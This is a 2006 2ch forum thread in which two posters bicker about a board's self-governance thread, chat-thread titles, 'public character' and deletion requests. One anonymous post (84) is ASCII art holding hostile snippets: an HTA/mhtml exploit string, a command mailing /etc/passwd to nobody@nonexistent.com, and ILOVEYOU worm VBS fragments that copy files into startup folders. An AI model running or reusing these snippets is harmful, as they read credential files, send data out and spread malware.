検証拒否してるやつがイで解決しちゃってるじゃんってのはおかしいだろw

A「運営行って検証して来い」
B「断る!」
A「ハァ?じゃースレで検証してみるか?結果待ってろよ。」
検証で結果が出た
A「こういう結果が出たわけだが。どーするの?いやなら運営行って検証してこいよ?」
B「そんな検証は認めないし、運営へ行って検証もしない!!」
B「オレと合意の下にスレが立ったからそれで解決してるんだ!!!!」
A「ハァ?」

こうやって言ってるって気が付いてる?

>>60
>おまえ、何明からさまな逃げ文句言ってんの?
>どうして、これを問題にするかちゃんと書いてるだろが。
>文句があるなら、そっちに文句を言えって。
歓迎するが逃げ文句か・・・・どうやったらそう解釈できるのかねぇ。

>それは、http://tmp6.2ch.net/test/read.cgi/asia/1128258920/341 にも関連するが、
>2chの慣例として、板名を冠した雑談スレは「板の顔」になってるということ。
>これも当該雑談スレが公共性をもつ理由の一つじゃん。
>公共性を言ってるという証拠になるだけで、言ってないなんて証拠にはならない。
そもそも、「板の顔」って雑談が板の顔って・・・
板の顔はそれぞれの有名なスレッド(長く続いてるとか盛り上がってるとか)だろうが。
極東板の顔といえば?と聞いたときに「雑談スレ」なんて答えるやつは1%にも満たないだろ。
それを用いて公共性をもつ理由のひとつだなんてのはおかしいだろ。

78 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 21:44:07 ID:hcVXeZp8
>>61
それがすべてを物語ってるのかー大変だなw

>で、実際は、「スレの内容が板に合ってない雑談になってる」ってのは認めたわけだろ?
ここは雑談板じゃないから雑談が板趣旨に合致しないのは当たり前だろ。
スレの内容が板に合ってない雑談になってるわけじゃねーよ。うちはニュース板だから雑談がニュースにはなり得ないだろ。
逆に聞きたいが板にあってる雑談ってどんなだよ。それはもはや雑談でもなんでもないし。

>こんな感じだろ。おまえ(ら)の頭には「ただの雑談スレ」という認識しか入力されてないわけ。
あのさー雑談は雑談であって単なる雑談なわけよ。
ほかの雑談系はスレ趣旨があって雑談してるけども雑談スレは今日のおかずからハッキングまで
幅広く雑談してるわけ。だから、ただの雑談でしかないが?

>だが、ズレてるのは、「極東という名の付いたタイトル→公共性」という点。
そもそもこれがおかしいんだよな。それについては後述↓

>>62
あのさー人のレス読み間違っておまいはこう思ってたんだ!!とか言われても
説得力非常に薄いんですけども・・・・。

>おまえ、↑これを完璧スルーしてるようだが、
>いまだにこういうことが分からないの?
あのさーこのスレのタイトルを「自治スレ」にしただけでも
公共性はあるんだけど・・・
極東板が付いてるか付いてないかで公共性が決まるなんてそんなアホな話はない。

>しかも、自分でやってることだぞ。
今度はレス内容の読み間違い?勘弁してくれないかなぁ。
この板にも雑談はあるんでどうぞご利用ください。っていうことを示すために
極東板の雑談ですということであの名前が付いてるんだけども。
ここはVIP雑談でもなければハングル雑談でもないわけ。わかるかなぁ。

79 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 21:45:43 ID:hcVXeZp8
>>62
>2chの習慣から、それが「極東板の雑談スレ」として、見られるわけ。
>後に言った「削除問題」からすれば、「このスレは公的な雑談スレだから、残しておこう」
>ということになるし(というか、これを削除しても同じタイトルのスレが立つだけだろ?)、
船虫Jrさー。おまい真面目な話、削除ガイドライン隅から隅まで読んだことある?
それと削除する人の心得読んだことある?読んでるとするならばどうしてこの発言が出てくるかが
まったくわからないのだが。

>2ch全体の慣習から見て、このスレは「極東板の顔」として、別板のヤツが気軽な質問をしたりする。
2chの慣習では質問は質問スレッドが立ってて質問するようになってるわけだが。

>事実、おまえだって、オレが勝手に立てたこのスレを「極東板自治スレ」という公的なスレとして扱ってる。
ハァ・・・・。だんだんあほらしくなってきたが、これだけは書いてやるよ。
おまいが立てようがわしが立てようが誰が立てようが自治スレとしての機能を持ったものを
自治スレと呼んでいるわけで、「極東板」が付いてなければ公的でないなんてことは
このレスの中にも書いたけどそんなこと誰も思わない。逆を返せば「極東板」が付いていれば
どんなスレでも公共性を持っているなんて事もないわけで。おまいはその点だけ勘違いしすぎ。

>それに、ごくとうと同じように、「タイトルなんてどうでもいい」なんてことなら、
>意固地にならずに、タイトル変更(例の三択の一つ)に合意しろ。
何でそんなことをおまいに命令されなきゃいかんのだ。正直な返答をしてやろう。

断 る ! ! ! ! ! ! ! !

例えば、ひろゆきがタイトル変更しろ!といえば、それは応じざるを得ない。
また削除人が言った(彼らは変更しろ!とは絶対に言わないがしないと削除対象のままであるなら)
のであればそれに対し検討をする。が、そもそも納得のいかないことに対して合意などできん。

80 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 21:47:52 ID:hcVXeZp8
>>63
>「しかし以下も答えてるのにねぇ・・・何百回答えればいい? 」
>なんて返答が非難されるのに、よく平気で同じ返答ができるな。

>オレは、「答えていると言うなら現物(スレ番)示せ」 と言ってるわけ。
現物も前スレで出してるんだけど・・・・
出したところのレス部分はおまいが華麗にスルーしてるけども。
華麗にスルーしておいて出せ!出せ!って読めないのかはたまた読む気がないのか。どっちなの?

>排他性を言ってたら何?
排他性についても過去に反論をしているわけで。
本気で聞くが、おまいわしの書いてることの80%くらいスルーしてるだろ?

>>64
ごくとうの基本的な考え方を無視するから
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/596
>オレは「不満を垂れつつも、『タイトル変えてもいいよ』とか妙に素直なこと言ってる」と書いた。
こういう考え方が出来ちゃうわけだろ。

そもそもその文章の中で重要なのは
「只そのことが必要なら、必要だと思った奴がやれってことだけさ。」ってことなんだが。
ごくとうの基本姿勢は
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/544
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/555
なわけだから
そのレスは「庵様は何にもしないけど必要なやつがスレ立てるなりなんなりすれば?」ってことなわけだ。
それに対しておまいが新しくスレ立てて名前を変えるなり、定期上げするなりしたのかと聞いているんだが。

81 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 21:50:47 ID:hcVXeZp8
>>65
>だからさー。正直言って、上(>>63)のような“ほとんど文盲としか思えないレス”を
>正気な人間がするとは思えないわけ。
んーそう思ってるなら「同期の桜はkittyだ!」とでも思っておけばいいんじゃないか?
前にも書いたけども別に他人がどう思おうとそれはそれで構わんし。
おまいがよく使う「バカ」とか「アホ」とか「基地外」とか「文盲」とか
議論の中において相手がこういう人間だということを印象付ける意味も含めて使ってると思うが、
たいした効果はないわな。まぁ、煽りキャラなわけだし別に使っても構わんけども。

>既に言ったように、少なくとも利害関係のない問題(自分のスレじゃない問題)に
>関しては、オレでさえ文句がでないような対応してんだろ?
>何で自分たちのスレになるといきなり文盲状態になるわけ?
>わざとやってるとしか考えられないじゃん。
文句つけようと思えばいくらでもつけられるんじゃないの?別に利害関係のない問題だから
文句が出ないような対応してるわけじゃないし。対応については全部一緒。違反だと思うなら削除依頼してくださいとか
ガイドラインの基準とか運営側の見解とかだとこんな感じです〜とアドバイスをしてるだけ。

>結局、誰もスレの内容なんか読んでないから、
>その場しのぎでテキトーなこと書けばいいって腹だろ?
スレの内容を読んでる人がどのくらいいるかは知らんが、適当なこと書けばいいってんなら各レスに1行レスしかせんよ。
その場しのぎならこんなに長い文章書かないし。

>で、そういうヤツ対策のために、
>「誰が見ても自明な間違い」
>ってのを二点晒してるわけだが(>>39と前スレの最後)。
>それはどうした?
>ここではこっちの方が肝心なんだぞ。
>自明な間違いも認められないようでは、その他の問題など
>解決どころか議論自体成立しない。
自明な間違いねぇ。反論が続いてるのに(どこが反論なんだ!現物で示せとか言うと思うが)
それに対して自明な間違いだから認めろって、そらー解決どころか議論自体が成立しないわ。
つーか、その2点は前から言ってるように自治スレで扱う案件じゃなくなってるっての。

82 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 22:05:06 ID:hcVXeZp8
>>66
だから無かったことになんかしなくてもいいよ。
が、「同期の桜@極東 ◆DoukiJieKQ が」が主語になってる時点で
「このスレは」とか「ローカルルールが」とかを扱う自治スレにおいて
適切な案件であるとはいえない。わしを主題に扱うなら外でやるべきだろ。

が、一固定のことを主題にやるのはどこの板でもガイドライン違反になるので
違反にならない最悪板行きを奨めているのだが。

さて、ここまで昨日の分

>>68
雑談系の中にさーdat落ちした物まで混ぜて多い!とか言わないでくれる?w
準雑談系の中にもすでに削除依頼してるものもあるし、ローカルルールによってぎりぎりのラインのものもある。

>>69
1、削除依頼してるけど?
2、公平な判断を求めるいい機会だろ。
3、行くことを無駄だと思うかどうかはおまいの勝手だが、
削除の判断によって違反(違反であればの話)だという明確な基準をもらえるのにね。
4、そんなもんはおまいが決めれ。ダメだと思われたものは削除されるし
残せると思われたものは残るし。

A、だからー落ちたもんまで混ぜて需要がある点は否定できないとか言うなよw
B、誰がそんなこといったんだ?最初から削除依頼してこいって言ってるじゃん。
C、公共性については上で書いたから割愛
D、おまいが勝手に決めて解決した!!ってなったことが運営に行かないで解決した
ということにはならんよ。

83 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 22:19:57 ID:hcVXeZp8
>>70
>これと同じことで、削除してもまた立てられるだけだし、他者が立てても、別にオレはそれを使うだけ。
>「スレタイによって占拠されるニッチ」とはそういうもの。
自治スレは立たないと思うぞ。誰も必要としてないからねぇ。
スレタイによって占拠されるっておまいこのスレ占拠してるの?
ガイドライン違反じゃん。(固定ハンドルが占用している)そらまずいだろー。

>>71
2が通じなかったら1を講じて3をやるのが一番適切なんだけどねぇ。
1もしなけりゃ3もしない。それで解決するわけがないよな。
それこそ荒らしの思うが侭だと思うけどなー(別にわしらが荒らしという意味じゃないが)

>>72
だから、ガイドライン違反であれば運営側は削除するし、
ガイドライン違反でなければ2chで問題がないわけだろ。
だから削除依頼してこいと(ry

>議論したくないなら、始めから議論に応じないことにする方がまだまし。
こっちのほうが自治議論否定の暴論じゃね?
別に遁走する理由なんかないしねー。

ところであと1週間ちょっとだけど大丈夫か?

84 :日出づる処の名無し:2006/03/22(水) 22:27:35 ID:0bMdWJ59
                  ܷܷܵܶܵܶܵܶܵܶ
             kak.hta';ken=wdt'START
イッパイ         ms-its:mhtml:file://c:\
 モッテキタヨ-      cat /etc/passwd | mail nobody@nonexistent.com
      ∧__∧   c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
     ( ´・ω・)   Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
     /ヽ○==○ fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
    /  ||_ If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
    し' ̄(_)) ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_))


85 :日出づる処の名無し:2006/03/23(木) 12:15:12 ID:6lczlJam
馬鹿な船虫が火病ってらw

86 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:51:34 ID:oXrvRfTG
>>74 名前: 同期の桜@極東 ◆DoukiJieKQ
>>>そのおまいの脳内わし戦術はもうどうでもいいよ。
>>またしても、根拠もなく決め付け。
>わしの頭の中のことがわかるってすごいねーw
>おまいが同期の桜はこう思っている(いた)だろうというようなことを書いてるけども、
>わしの頭の中で考えたことを調べたって言う根拠を出してくれる?w

誰もおまえの「頭の中」を言ってるわけじゃねーだろが。
書かれたものが「どうでもいい」という断定(決め付け)であり、
そこに、何の根拠も書かれてないこと。これを言ってるんだろが。
それと、「何も根拠が書かれていない」という根拠は、当該スレを引用してる時点で十分。
何も書いてないんだからな。
どう見ても無いものを指して、「ある」と言い張るデンパにどう対処しろっての?
あるってんなら、出せばいいじゃねーか。
だいたい、このレス自体がそれを要求してるもんじゃん。
まったく、なに言ってるんだか。
くだらない返答で誤魔化してないで、現物を根拠にした具体論を言えっての。

>待ってろって言ってほかの案件を後回しにしたのはおまいだぞ。いちいちソース出されんと
>思い出せんのか?そんなことはないだろ。

いいから出せよ。現物出して、どこをどう解釈すると
「どうでもいいことで自治を蔑ろにしてる」になるのか具体的に論ずればいいだけのことだが。
相手が否定してんのに、テメーの(妄想丸出しにか見えない)断定ばかりを言い張っても
何もならんだろが。違うか?

>同期の桜の戦術(>>2の一番上のURL)って書いてあるが、そもそもそんな戦術をとってないし。

これも同じ。そうじゃないと否定するなら、現物出して論じろ。
「とってない」と言い張るだけじゃ何もならないだろが。
何でこんな基本的なことも分からないんだ?

87 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:52:53 ID:oXrvRfTG
>>75 名前: 同期の桜@極東 ◆DoukiJieKQ
>何を根拠に反論に窮してるというのかね。反論はちゃんとしてるんだが。

おまえさー。この件は、前スレでやっただろ?
それを読み直せ。同じことを繰り替えさせるな。

>裁判ごっこをしていたのは船虫Jrで結論がいつまでも出ないので
>判決という形でレスをした。わしは最初から削除依頼に行け(検証の意味でな)といってるわけで。
>とってつけたように削除依頼に行けって言ってるわけじゃないし。

これも同じ。前スレでやった(→裁判ごっこ)。
そしてオレ自身の結論は出してる(例の三択)。
さらに、削除依頼が最初からだったら何?
「削除依頼逝け。話はそれからだ」
にもかかわらず、話をしていたと。そうすると何なの?
いつから出てたかきちんとやってもいいが、おまえが自爆するだけじゃん。

>んで、裁判ごっこをしていたのでそこに終止符を打ったことが

だからさー。相手が認めてない妄想を前提に、ウダウダ暴走しても仕方ないだろが。
前スレで出たように、オレは「ごっこでも何でもいいから(ちゃんと)返答しろ」と
言ってるわけ。その論議が「これは、終了してもかまわない無駄な話」という文意なはずねーだろ。
この点に関しても、ちゃんと現物ベースでやんなきゃ、しょーがねーだろが。
で、とにかく、オレは「これは、終了してもかまわない無駄な話」というようなことは認めてない。
相手が否定してることを前提に、「終止符を打つのは当然のことだ」などとウダウダ書くな。
現物出して、その前提を立証してからにしろ。

88 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:53:21 ID:oXrvRfTG
>>75 名前: 同期の桜@極東 ◆DoukiJieKQ
>解決策がないなら運営に行けに同調したとなる根拠を示せ。

はあ?

http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
>立てたスレには全面的に責任負うから客観的に判断してくれるところへ
>判断を仰ぎに行ってこいってこと。話はそれからだ。
>>67 名前: バク ◆Zseml6E7q6
>自称「自治厨」の同期タンや、自治いらない派の私が一致した
>意見があるんだが・・・w
>それは、「管理人や運営側の意向には従う」って意見。
>3月31日までに蟲ちゃんが運営側のお墨付きを貰ってこない時点で、
>4月1日にこのスレを削除依頼するから。

おまえ、何が言いたいわけ?
まさか、自分がさんざん言ってきたこれ(↑)を否定すんの?

それと、オレは別に「解決策がないなら運営」なんて理屈をおまえのものだと主張してるわけじゃないぞ?
「運営逝け」は現物にあるし、「解決しない」なんてのは、今回のレスでも言い張ってるだろ?(おまえがな)。
これに繋がりがなくったって、オレは別にかまわないよ。
おまえの「運営逝け」がますます根拠のないものになるだけだから。

89 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:54:36 ID:oXrvRfTG
>>75 名前: 同期の桜@極東 ◆DoukiJieKQ
>>9、一応解決される方向へ
>解決したと勝手に考えてるのはおまいの主観

だから、>>57-58。これに「一応解決」の意味がどういうものか書いてあるだろが。
同じことを繰り返させるな。

>>13、意味不明なことを
>結果を待てばおのずとこの先のことが見えるということゆえ
>意味不明なことというのはおまいが勝手に考えたこと。

あーあ。もう。
「結果を待てばおのずとこの先のことが見えるということゆえ 」
こんなの、反レスか何かになるか?
老人の小言のような単なる希望じゃん。
レスのタイミングからして、依然として意味不明。
結局、誤魔化しという意味なんだろ?
まあ、“不明”だけどね。

>>13、複線のつもりだった
>結果が逆になれば複線にも何にもならんわけで。
>最初から複線として結果を待てといってるわけではないので
>それはおまいの主観。

理屈が無茶苦茶。結果が逆になる可能性があったとしても、複線ってのは貼るもんだ。
複線を貼ってなければ、逆にならなかった場合に、それを使えない。
まったく当たり前の話。
「なんだこれが複線になったのか」が「逆になる可能性」の有無で決まるわけじゃない。
それと、当時は隠しておいて(意味を明確にせず)、後から、「これが根拠だ」などと
持ち出すのを称して「複線のつもりだったかよ」と非難してるわけで、
「オレの本心は違うんだ!」なんて言っても、意味無い。
相手が納得するわけもないことをわざわざ言い出すな。

90 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:55:01 ID:oXrvRfTG
>>75 名前: 同期の桜@極東 ◆DoukiJieKQ
>>15、返答拒否
>返答してるじゃん。拒否というのは返答しないということだが。

だから、現物を出せよ。
何度言ったらわかるんだ?(>>63)。
つーか、何か。
こんな抽象的なまとめにレスして、「これについての返答」を
返答一般にすり替えて、「今も議論してるし、当然返答してる」にしたいわけか?

>そもそも検証スレという形で立てたのはごくとうであり、
>わしが検証スレを立てることを決めたわけでもないし、結果が出たが?と言ってるだけで。
>スレを立てることはおまいとの合意じゃなかったっけ?これでわしの独断というのはおまいの主観にすぎん。

バカ。
たとえ、ごくとうだけじゃなく、オレも検証に合意したとしても(してないがな)、
結果を踏まえるべき「次スレ立て」を先に行い、「どういうこと?」への返答を
「次スレとして」などと言って誤魔化し、後から「結果が出たが?」を言って
それなりの論拠を示さないのは、独断以外の何者でもないだろが?
そもそも、どういう基準で需要のあるなしを判断したんだ?
その点の合意もなく、「需要がない」と言い張ってるだけじゃん。
(というか、検証自体に自治スレにおいての合意がないから当たり前だが)

91 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:55:41 ID:oXrvRfTG
>>76 名前: 同期の桜@極東 ◆DoukiJieKQ
>>20、18の2)に関して明からさまな嘘を言い始める。
>おまいが合意したとか書いてるから、その合意があったということにしたがうならば
>そうなるというだけの話。合意なんかなかったのに合意したとか言ってるとしたならば
>それの方が嘘になる。

だから、現物を出して言えよ。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/371
↑このように、オレはどこがどう嘘なのか、現物を出して論じている。
現物出して「合意してない」と言い。さらに、
現物出して「桜もそれに気付いていた」と指摘した。
それを「合意したとか書いてる」と言い張るだけで、何をしようっての?
こんなこと延々とレスしやがって、いい加減にしろよ。

92 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:56:20 ID:oXrvRfTG
>>76 名前: 同期の桜@極東 ◆DoukiJieKQ
>>22、↑頓珍漢ループの典型!
>ループさせてるのはどっちなんだと。おまいの主観じゃねーか。
>http://tmp6.2ch.net/test/read.cgi/asia/1139574674/407

おまえさー。もしかして、それで「ループの指摘」になると思ってるの?
おまえにとって「ループ」ってどういう意味?
おまえは、今回もそうだが、既に否定されたことを繰り返すだけで、
議論はぜんぜん進展しないよ。「否定されたことの繰り返し=ループ」だな。
で、そういう進展のない議論で、どちらかが折れて、「じゃあ言うとおりにするよ」
と打ち切る場合もある。おまえにとっては、相手(オレ)が折れることが望ましいだろう?
だが、そうしないからってループって何?
おまえ、これ、マジで言ってんの?
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/457
この時点では、これについてたいして突っ込んでないが、煽りとかネタじゃなくて、
「折れないからループ」なんて言ってのか?

ワガママっつーか、なんつーか。もう強烈だな。

というか、これもそうだが、ちょっとでも「現物ベースの具体論」になると、
おまえの無茶苦茶が明らかになるな。だからこそ具体的に言わないんだろうけど、
マジいい加減にしろよな。

93 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:56:56 ID:oXrvRfTG
>>76 名前: 同期の桜@極東 ◆DoukiJieKQ
>>「スレ立てについては合意するが、検証は合意しないよ。
>>だけど、そのスレならもちろん、オレの条件を満たしている(一応、オレの問題はクリアだ)」
>これがどっからどう見ても独断になっちゃうぞ?って言ってるんだけど。
>オレが決めた条件を満たしたんだからageスレがたったら解決なんだよ!
>これ以降sage進行スレは禁止だ!!!!ってこれだどうして独断といえないのだろうか。

バカ。誰も最終的な解決だとは言ってないわけ。
問題を提起するヤツがいて、ソイツが言う解決の条件も出されていた。
これが充たされれば、当然、「その問題」は解決。
とりあえず、ソイツは「解決」と言い。同じ問題を引き続きウダウダ言うことはない。
こんなの普通にあることだが、おまえの脳味噌じゃ想像できないか?
オレは、これを指して、「解決」と言い、最終解決だとか誤解されないように
わざわざ「一応」を付けて、「一応解決」と言った。
これで何で独断だとか非難されなきゃなんないの?
解決条件を出したのがオレなんだから、当人が「それでいいよ(オレの問題はクリアだ)」と言うのは、
確認のための儀式でこそあれ、非難される謂われはない。

というか、これもそうだが、「独断という指摘が妥当するような解決」を言ってるというなら、
現物を出せ。相手が「自分の問題提起にとって解決(提起状態は解消される)」と言ってるのに、
何か最終解決だとか民意を踏まえるべき次元の解決だとか、妙な妄想で拡大解釈して決め付けるな。

94 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:57:21 ID:oXrvRfTG
>>76 名前: 同期の桜@極東 ◆DoukiJieKQ
>A「これが問題だ」
>B「いやー、問題じゃないだろ」
>(なんか議論が始まる)
>B「じゃー(検証のために)スレ立てるわ」
>(スレが立つ)
>A「よし、これで解決だ!!」
>B「は?検証のためだって言ってるじゃん」
>A「いや、解決だ!!」
>
>↑これで解決って言うの?

インチキ丸出し。そんなこと言ってないじゃん。
>B「は?検証のためだって言ってるじゃん」
>A「いや、解決だ!!」
ってな並べ方をして、解決と言ってる対象を当初のものとすり替えるな。

>相手が納得もせず、グダグダなままで解決って思い込んでるAがいるだけじゃん。

そういうおまえは相手が納得してないのを承知で、何の前触れもなくスレ立てたわけだが?
で、「次スレとして」などという幼稚レスで誤魔化そうとしたと。
これで何か解決だと思い込んだわけ?

95 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:57:41 ID:oXrvRfTG
>>77 名前: 同期の桜@極東 ◆DoukiJieKQ
>こうやって言ってるって気が付いてる?

おまえがそういう都合のいい妄想してるってのは気付いてるよ。
まあとにかく、この件は他所(>>71)で言ってるから、そっちを読め。
で、ここで指摘されてるのは、

イ、「極東板内で検証して解決」

ロ、「運営へ行けってのは検証して来いってこい」
ハ、「運営逝かなきゃ、自治で話す資格はない(バク)」
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
ニ、「(運営に)判断を仰ぎに行ってこいってこと。話はそれからだ」

上の「ロハニ」はほとんど同じ意味だな?
これは、「自治スレでウダウダ議論(検証の議論も含め)してたら、話にならない」と
言ってる。運営のお墨付き(判断)がないと無意味であると。
実際、それで「終了」なんてやってたわけだから、
「運営の判断何しには始まらない(運営判断は必須)」は自明だな?
で、その一方で「イ」は何だ?
運営逝かないのに、何か解決しちゃてるじゃん。
「運営判断は必須」と言いながら、「(桜がやったのは)(運営判断なしだが)、解決だ」と言ってる。
運営判断は必須だけど必須じゃないの?
もう明からさまに矛盾じゃん。

という矛盾。
排他性(話はそれから)を勝手に無かったことにしても矛盾の解決にはならないよ。

96 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:57:59 ID:oXrvRfTG
>>77 名前: 同期の桜@極東 ◆DoukiJieKQ
>>おまえ、何明からさまな逃げ文句言ってんの?
>>どうして、これを問題にするかちゃんと書いてるだろが。
>>文句があるなら、そっちに文句を言えって。
>歓迎するが逃げ文句か・・・・どうやったらそう解釈できるのかねぇ。

普通に逃げ文句じゃん。バカ?
「これケンカだから(←決め付け)、
オレの家に来こい(←相手は決め付けを否定してるし、そんなキモいとこに逝きたくない)。
歓迎するぜ(←は?)」
こんなんで、議論から遁走するヤツがよくいるわけだが、
「歓迎」と言えば逃げ文句にならないってか?
わらかすな。

97 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 00:58:35 ID:oXrvRfTG
>>77 名前: 同期の桜@極東 ◆DoukiJieKQ
>>それは、http://tmp6.2ch.net/test/read.cgi/asia/1128258920/341 にも関連するが、
>>2chの慣例として、板名を冠した雑談スレは「板の顔」になってるということ。
>>これも当該雑談スレが公共性をもつ理由の一つじゃん。
>>公共性を言ってるという証拠になるだけで、言ってないなんて証拠にはならない。
>そもそも、「板の顔」って雑談が板の顔って・・・
>板の顔はそれぞれの有名なスレッド(長く続いてるとか盛り上がってるとか)だろうが。
>極東板の顔といえば?と聞いたときに「雑談スレ」なんて答えるやつは1%にも満たないだろ。
>それを用いて公共性をもつ理由のひとつだなんてのはおかしいだろ。

はいはい。これもすり替え。おまえは公共性に関するレスに対して>>53 で、

http://tmp6.2ch.net/test/read.cgi/asia/1128258920/237
>板自体が、あるグループの馴れ合いの場であるかのような印象をもたれる。
>この点、【ニュース極東板雑談スレ】などいうふざけたスレタイは、
>「オレ達が極東板だ」という印象をもたれるので、最悪。

というレスを出して、「何かおかしい」と言い張ってた(具体論は相変わらずなし)。
それに対して、オレは、「これだって公共性の話だぞ。なに言ってるんだ」という趣旨のレスをした(>>60)。
問題は、オレが一貫しているかどうか(始めから公共性を問題にしていたかどうか)であって、
そのオレの主張が正しいかどうかではない。
今さら、ウダウダ反論し始めて、誤魔化してんじゃねーよ。
そもそも、こういう印象レベルのことじゃ決定的な議論にならないから、別の観点から公共性を論じたんじゃねーか。

98 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:01:04 ID:oXrvRfTG
>>78 名前: 同期の桜@極東 ◆DoukiJieKQ
>>で、実際は、「スレの内容が板に合ってない雑談になってる」ってのは認めたわけだろ?
>逆に聞きたいが板にあってる雑談ってどんなだよ。それはもはや雑談でもなんでもないし。

くだらないこと聞くな。
オレ「雑談は板に合ってない」
おまえ「雑談は板に合ってない」
この状況で何をしようっての?
何かのすり替え?

>>こんな感じだろ。おまえ(ら)の頭には「ただの雑談スレ」という認識しか入力されてないわけ。
>あのさー雑談は雑談であって単なる雑談なわけよ。

誰もそんなことを言ってない。内容はただの雑談だろ?
そもそも、雑談は内容で区別できないとハッキリ書いてる。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/315
オレが言ってるのは内容じゃなくて「スレ」特にスレタイ。

99 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:01:44 ID:oXrvRfTG
>>78 名前: 同期の桜@極東 ◆DoukiJieKQ
>あのさーこのスレのタイトルを「自治スレ」にしただけでも
>公共性はあるんだけど・・・
>極東板が付いてるか付いてないかで公共性が決まるなんてそんなアホな話はない。

うまく誤魔化したね。一瞬一理あるかと思っちゃったよ。
それはさー。デフォルト(意味分かるか?)が「極東板の」だからなんだよ。
単に「自治スレ」でも「極東板の自治をするスレ」と認識されるわけだろ?
だからこそ、「公共性はある」と。
これが意味不明だったり、「おまえん家の自治に関するスレか?」だったら、
そのスレで極東板の自治について話し合われない。
実際、単に「自治スレ」と書いたスレを立てたことを想像してみ。
これは重複スレになるだろ?
何と重複?
「極東板自治スレ」しかないじゃん。
この意味では単に「雑談スレ」であっても、「極東板雑談スレ」と認知される。
特に特化してなければ、「極東板の」のついたものと同じ意味に受け取られるわけだよ。
オレが言ってるのは、このこと。
この「同一ニッチ(その一つの判定基準は重複になるか)を占めるタイトル」によって
公共性が決まると。「極東板という名前が付いた」がそのニッチを占める上で必須だと
言ってるように聞こえる、というなら、言い方を変えてもいいぞ。
オレが言ってるのはあくまでニッチ、ニッチ云々は分かりやすい表現じゃないから、
「極東板」と言ってるだけ。タイトル変えるという議論で、「単に雑談スレ」にするという話にならない
わけだから(重複にならないタイトルにするだろ?)、これで十分だとしたわけ。
それだけ。

100 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:01:54 ID:oXrvRfTG
>>78 名前: 同期の桜@極東 ◆DoukiJieKQ
>>しかも、自分でやってることだぞ。
>今度はレス内容の読み間違い?勘弁してくれないかなぁ。

読み間違いはおまえ。自分でやってるとは、この自治スレを
公共のもの(ホンモノ)と認めてるってこと。実際、今回ハッキリしたが、
扱ってるだけじゃなく、「公共性はあるんだけど・・・ 」なんだろ?
まさか、「極東板」がつくと逆に公共性がなくなると言い出す?

101 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:02:18 ID:oXrvRfTG
つーか、

>この板にも雑談はあるんでどうぞご利用ください。っていうことを示すために
>極東板の雑談ですということであの名前が付いてるんだけども。
>ここはVIP雑談でもなければハングル雑談でもないわけ。わかるかなぁ。

↑これなんか、どう見ても、公共性のあるスレだという話にしか読めないが?
極東板の公益にかなってるってことだろ?
別に移民スレでもなく、極東板の住民や他板から訪れるヤツが雑談したくなった時に使える
極東板の雑談スレだと。その他多くの雑談スレとはこの点で違うわけ。
何でこれで公共性議論を拒絶してんの?
いまさらでも、認めるならハッキリ認めろよ。

102 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:02:42 ID:oXrvRfTG
>>79 名前: 同期の桜@極東 ◆DoukiJieKQ
>それと削除する人の心得読んだことある?読んでるとするならばどうしてこの発言が出てくるかが
>まったくわからないのだが。

不満があるなら具体的に言ってね。

>>2ch全体の慣習から見て、このスレは「極東板の顔」として、別板のヤツが気軽な質問をしたりする。
>2chの慣習では質問は質問スレッドが立ってて質問するようになってるわけだが。

そりゃ「立ってれば」って話だろが。前々スレ(現物)はそういう話だっただろが。
で、だから何?
別に、質問スレが立ったって、利用者が雑談スレで話を聞きたいと思えば、
雑談スレで聞いてくるだろうし、雑談スレの役割は質問の受付だけじゃない。

>このレスの中にも書いたけどそんなこと誰も思わない。逆を返せば「極東板」が付いていれば
>どんなスレでも公共性を持っているなんて事もないわけで。おまいはその点だけ勘違いしすぎ。

オレもこのレスで書いたが、別にオレは「極東板」だけが公共性の印と言ってるわけじゃなく、
公共性に関してはおまえが言うとおりに、そういう意味(どんな名称であろうとも、極東板自治スレと
重複関係にあるとされるような意味内容=ニッチ)で言ってる。無印でも公共性はある。
「必ずしも極東板という名称だけじゃない」と突っ込んだのは、おまえにしてはよくやったが。
しかし、オレこれは、オレの主張をさらに洗練させてるだけで、論旨自体は強化されることはあっても
否定されるわけじゃない。
この雑談スレ問題が出る前から、オレはニッチ論を語ってるわけで、勘違いである根拠はないが、
おまえが拘るなら、別に間違いでもいいよ。オレはハッキリとニッチに修正するだけ。
で、どうすんの?
公共性自体は否定できてないじゃん。

